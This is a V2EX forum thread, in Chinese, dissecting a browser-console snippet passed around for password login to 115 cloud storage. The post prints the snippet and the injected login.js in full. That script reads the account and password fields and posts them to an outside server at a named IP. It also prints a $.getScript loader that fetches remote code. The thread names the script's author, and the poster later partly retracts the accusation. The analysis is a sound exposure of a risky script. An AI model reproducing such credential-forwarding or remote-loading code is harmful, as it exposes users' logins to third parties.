曝光一只脚本小子

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

现在注册

已注册用户请登录

这是一个创建于 2941 天前的主题，其中的信息可能已经有所发展或是发生改变。

起因

115 网盘的强制二维码登录很烦，不想装他家的 App 也不想装他家的浏览器，所以想看看有没有啥办法用普通浏览器输账号密码登陆。

经过

在网上开始搜索信息，搜索到结果大同小异啦，什么福*吧，吾爱*解之类的，随便点个帖子进去。发现在 console 里输点代码就可以了哈，用起来还挺简单的嘛~我喜欢！再一看帖子评分，哟，这么多好评，妥妥的精华帖啊！

然而。。。机智的我在把代码贴到 console 里之前多看了一眼

javascript:(function(){window.my115Server='http://139.129.47.212:3000/';var a=document.createElement('script');a.type='text/javascript';a.src=my115Server+'login.js';document.getElementsByTagName('head')[0].appendChild(a)})()

哈，其实就是注入了http://139.129.47.212:3000/login.js嘛，直接把代码下下来学习一下~涨涨姿势水平嘛。

$('a[lgb-nav="login"]').click()
$('div[lg_rel="download"]').hide()
$('div[lg_rel="login"]').show()
var browserInterface = {
    LoginEncrypt: function LoginEncrypt(env, callback) {
        alert('\u5927\u5BB6\u6362\u8FD9\u4E2A\u811A\u672C\u5427, \u6700\u8FD1\u516C\u53F8\u5B9E\u5728\u592A\u5FD9\u4E860.0 https://github.com/kkHAIKE/fake115');
        return false;
        var server = (typeof my115Server)=='undefined'? 'http://192.168.31.110:3000/': my115Server;
        var rTime;
        function processDec(r) {
            json = $.parseJSON(r.responseText);
            if (!json.state) {
                window[callback](r.responseText);
            } else {
                console.log('ok');
                $.post(server, {body: json.data,time: rTime})
                .success(function (r) {
                    var cookie = $.parseJSON(r.body).cookie;
                    var d = new Date();
                    d.setTime(d.getTime() + (7*24*60*60*1000));
                    for (var i in cookie) if ( cookie.hasOwnProperty(i) ) {
                        document.cookie = (i+'='+escape(cookie[i])+';expires='+d.toUTCString()+';domain='+'.115.com');
                    }
                    console.log('done');
                    location.reload();
                });
            }
        }
        var dat = {
            account: $('#js-account').val(),
            passwd: $('#js-passwd').val()
        };
        if (env.hasOwnProperty('country')) {
            dat['country'] = env['country'];
        }
        $.post(server, dat)
        .success(function (r) {
            console.log(r);
            rTime = r.time;
            var settings = {
                url: oofUtil.paths.PASSPORT + '/?'+$.param(r.headers),
                cache: false,
                type: 'POST',
                data: {data: r.body, goto: ''},
                complete: processDec
            };
            oofUtil.bridge.passport(settings);
        });
    }
};
window.browserInterface = browserInterface;

缩水一下的话呢，就是下面这样

...
alert('大家换这个脚本吧, 最近公司实在太忙了 0.0 https://github.com/kkHAIKE/fake115');
...
var server = (typeof my115Server)=='undefined'? 'http://192.168.31.110:3000/': my115Server;
...
var dat = {
            account: $('#js-account').val(),
            passwd: $('#js-passwd').val()
        };
$.post(server, dat);

额，同学，你这有点侮辱我们智商啊。。。你对我的账号密码做了什么？？而且，192.168.31.110是什么鬼？难道是之前就被人发现了所以把服务器地址改掉了？

结果

再打开其他几个搜索到的帖子发现，这段脚本还常常以这种形式出现

$.getScript('https://coding.net/u/imspace/p/m115p/git/raw/master/ref.js')

啊，于是。。。

服务器地址: 139.129.47.212
Github: https://github.com/spacemeowx2
Coding: https://coding.net/u/imspace

第 1 条附言 · 2016-10-21 08:54:24 +08:00

如楼下大家所说，作者可能只是把一些复杂的运算放在服务器了，所以需要把账号密码发过去，我可能是错怪作者啦

6 条回复 • 2016-10-21 08:53:34 +08:00

popok

2016-10-20 18:22:49 +08:00 via iPhone

这个 js 我也用过，当时是可以用的，因为 115 的原因，需要把登录帐号密码用某个密钥加密后再提交登录，这个作者应该是逆向得到了加密的算法，然后通过他的服务器来加密我们的帐号密码的。我当时在 coding.net 上问过作者，为什么不把加密过程写在 js 里，见:
https://coding.net/u/imspace/p/m115p/topic/153515
当时作者说是为了兼容性考虑，具体情况我也不好说。
不过我觉得这种这么明显的代码，作者应该不至于这么 low 拿我们的密码，不过确实我们的密码是发往他的服务器了。